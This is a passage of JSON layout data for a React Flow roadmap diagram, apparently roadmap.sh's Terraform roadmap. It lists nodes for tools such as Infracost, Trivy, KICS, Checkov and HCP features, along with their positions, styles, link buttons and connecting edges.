1967.9060085371989\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oANePqjkwtNMwvV-_W0B7\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Infracost\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"AEtW6j2GcfZz7IXk4sM6c\"\n      },\n      \"position\": {\n        \"x\": -490.26733623226676,\n        \"y\": 2019.9060085371989\n      },\n      \"width\": 215,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -490.26733623226676,\n        \"y\": 2019.9060085371989\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uVz9WwVAgMu1ZU0qjqVnc\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Secret Management\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"oANePqjkwtNMwvV-_W0B7\"\n      },\n      \"position\": {\n        \"x\": -491.5504047782006,\n        \"y\": 2128.7229785967743\n      },\n      \"width\": 218,\n      \"height\": 50,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -491.5504047782006,\n        \"y\": 2128.7229785967743\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 50\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"z0PcbgpHbR6Fm07-On4P8\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Compliance / Sentinel\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"uVz9WwVAgMu1ZU0qjqVnc\"\n      },\n      \"position\": {\n        \"x\": -491.5504047782006,\n        \"y\": 2181.7229785967743\n      },\n      \"width\": 218,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -491.5504047782006,\n        \"y\": 2181.7229785967743\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Vxo_gNdFl3CZXV7GLPqjD\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Trivy\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"z0PcbgpHbR6Fm07-On4P8\"\n      },\n      \"position\": {\n        \"x\": -180.4848179138105,\n        \"y\": 2349.1529114234504\n      },\n      \"width\": 183,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -180.4848179138105,\n        \"y\": 2349.1529114234504\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MUkbLTMzmaVWbAJj6G3aj\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"KICS\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"Vxo_gNdFl3CZXV7GLPqjD\"\n      },\n      \"position\": {\n        \"x\": -180.4848179138105,\n        \"y\": 2402.1529114234504\n      },\n      \"width\": 183,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -180.4848179138105,\n        \"y\": 2402.1529114234504\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3MnZK2V5KhBhw67SyUVPk\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Security\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"ECcHo0KTDN27MuVTC-Fwy\"\n      },\n      \"position\": {\n        \"x\": -157.4848179138105,\n        \"y\": 2126.885999298282\n      },\n      \"width\": 137,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -157.4848179138105,\n        \"y\": 2126.885999298282\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NSWG79dEygyl6pb54wLrE\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Terrascan\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"uVz9WwVAgMu1ZU0qjqVnc\"\n      },\n      \"position\": {\n        \"x\": -180.4848179138105,\n        \"y\": 2243.1529114234504\n      },\n      \"width\": 183,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -180.4848179138105,\n        \"y\": 2243.1529114234504\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ljj7ngl1N4ezCXQ0o6Y8x\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Checkov\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"z0PcbgpHbR6Fm07-On4P8\"\n      },\n      \"position\": {\n        \"x\": -180.4848179138105,\n        \"y\": 2296.1529114234504\n      },\n      \"width\": 183,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -180.4848179138105,\n        \"y\": 2296.1529114234504\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"erxow5xNRj01WepdFOhVf\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"HCP\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"3MnZK2V5KhBhw67SyUVPk\"\n      },\n      \"position\": {\n        \"x\": 102.7491819418687,\n        \"y\": 2238.1443922006224\n      },\n      \"width\": 102,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 102.7491819418687,\n        \"y\": 2238.1443922006224\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 102,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"K_7dB-5cCYzGbwYXXaoiY\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"What and when to use HCP?\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"NSWG79dEygyl6pb54wLrE\"\n      },\n      \"position\": {\n        \"x\": 334.80472417761484,\n        \"y\": 2132.1443922006224\n      },\n      \"width\": 274,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 334.80472417761484,\n        \"y\": 2132.1443922006224\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"elW7IMBSF0ydmlb7rtI1o\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Enterprise Features\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"K_7dB-5cCYzGbwYXXaoiY\"\n      },\n      \"position\": {\n        \"x\": 334.80472417761484,\n        \"y\": 2185.1443922006224\n      },\n      \"width\": 274,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 334.80472417761484,\n        \"y\": 2185.1443922006224\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RPcsyhIG027uP7KF0hwaY\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Authentication\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"elW7IMBSF0ydmlb7rtI1o\"\n      },\n      \"position\": {\n        \"x\": 334.80472417761484,\n        \"y\": 2238.1443922006224\n      },\n      \"width\": 274,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 334.80472417761484,\n        \"y\": 2238.1443922006224\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JoUWF6AQoreELxFHNi9oo\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Workspaces\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"RPcsyhIG027uP7KF0hwaY\"\n      },\n      \"position\": {\n        \"x\": 334.80472417761484,\n        \"y\": 2291.1443922006224\n      },\n      \"width\": 274,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 334.80472417761484,\n        \"y\": 2291.1443922006224\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Z6dG92afC8SGwCFNTx4ac\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"VCS Integration\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"JoUWF6AQoreELxFHNi9oo\"\n      },\n      \"position\": {\n        \"x\": 334.80472417761484,\n        \"y\": 2344.1443922006224\n      },\n      \"width\": 274,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 334.80472417761484,\n        \"y\": 2344.1443922006224\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nU1WoRtxRF9KeNhzuwNUB\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Run Tasks\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"Z6dG92afC8SGwCFNTx4ac\"\n      },\n      \"position\": {\n        \"x\": 334.80472417761484,\n        \"y\": 2397.1443922006224\n      },\n      \"width\": 274,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 334.80472417761484,\n        \"y\": 2397.1443922006224\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 451,\n      \"height\": 115,\n      \"id\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -69.90483915686082,\n        \"y\": 2524.935940143029\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Have a look at the following relevant roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -69.90483915686082,\n        \"y\": 2524.935940143029\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 451,\n        \"height\": 115\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 451,\n        \"height\": 115\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"PkhQdVms2TGgnPrytCBPZ\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 50.14621844180749,\n        \"y\": 2578.9187080995052\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linux\",\n        \"href\": \"https://roadmap.sh/linux\",\n        \"color\": \"WHITe\",\n        \"backgroundColor\": \"#2B78E4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#2B78E4\",\n        \"oldId\": \"OIcmPSbdsuWapb6HZ4BEi\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 50.14621844180749,\n        \"y\": 2578.9187080995052\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"0ltIBoCTdLQADzs8viS2o\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -54.85378155819251,\n        \"y\": 2578.9187080995052\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"WHITe\",\n        \"backgroundColor\": \"#2B78E4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#2B78E4\",\n        \"oldId\": \"PkhQdVms2TGgnPrytCBPZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -54.85378155819251,\n        \"y\": 2578.9187080995052\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"PwK_kgd6t_7E09jMyQg-8\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 155.1462184418075,\n        \"y\": 2578.9187080995052\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Docker\",\n        \"href\": \"https://roadmap.sh/docker\",\n        \"color\": \"WHITe\",\n        \"backgroundColor\": \"#2B78E4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#2B78E4\",\n        \"oldId\": \"PkhQdVms2TGgnPrytCBPZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 155.1462184418075,\n        \"y\": 2578.9187080995052\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 110,\n      \"height\": 49,\n      \"id\": \"4QNj-D7gcWARDRWCUSgCL\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 260.1462184418075,\n        \"y\": 2578.9187080995052\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kubernetes\",\n        \"href\": \"https://roadmap.sh/kubernetes\",\n        \"color\": \"WHITe\",\n        \"backgroundColor\": \"#2B78E4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#2B78E4\",\n        \"oldId\": \"PwK_kgd6t_7E09jMyQg-8\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 260.1462184418075,\n        \"y\": 2578.9187080995052\n      },\n      \"style\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6zFuSNOfbPaYIE_t--2nr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -489.23643593653094,\n        \"y\": 1915.9060085371989\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Version Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -489.23643593653094,\n        \"y\": 1915.9060085371989\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3oInpqvTSSC5_K6i7j8N7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"HNVw8OboycWKLEtEbG2bn\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"auB7Png72XjmhcLr3IJA7\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"2aoDIr80lXSJLW1hIGUkb\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NMznG9mo2wzNFnjhg990f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-_y7nLeYFkUKGiacxWA0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gc_7cuIO2_joKlQRAPDfX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"G7pXuJfkyt2nWAOHU8yV0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rrrvATyhXqRgJGWI3z0WF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2_6Yz3-Agx9_rEN5xW86c\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"1AJv95mTLpR7L8KBoGym8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kgMI98fg2-mKMgUs0wnjD\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0etAs56EeBfh_0IlAaSra\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"ts38Q2ceHs60TJscUBZVE\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h6ceO0kiBIxNRkPzN3hBY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ZiMV7umyPdhy3JJDcopR-\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_JlT9oKQ6Yu4UX6l19G8P\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"WI-MhbxrehFcVwyGJ5CQJ\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"qUrLBzvXvJOg53HBfjrOI\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-PDYmhSQlGbLLFBJQ-Fo3\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"h6qRrUe-bn25s0UkxU600\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge--PDYmhSQlGbLLFBJQ-Fo3x2-UlH9oNKGD37RPAapiPe19w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h6qRrUe-bn25s0UkxU600\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"twR3k9D-qDr1CbyW6K0Fs\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-h6qRrUe-bn25s0UkxU600y2-twR3k9D-qDr1CbyW6K0Fsz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h6qRrUe-bn25s0UkxU600\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"CU9V3iRdssamsG-xMouXT\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-h6qRrUe-bn25s0UkxU600y2-CU9V3iRdssamsG-xMouXTz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h6qRrUe-bn25s0UkxU600\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"hRIDJHIxWc5Iav7tsu8l-\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-h6qRrUe-bn25s0UkxU600y2-hRIDJHIxWc5Iav7tsu8l-z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h6qRrUe-bn25s0UkxU600\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"UsINvx84pBF1hp8XoLF4c\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-h6qRrUe-bn25s0UkxU600y2-UsINvx84pBF1hp8XoLF4cz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qhO7CY-1_vuh2BVJYQCzh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Hma2IgatFME8STHPwpeMG\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": 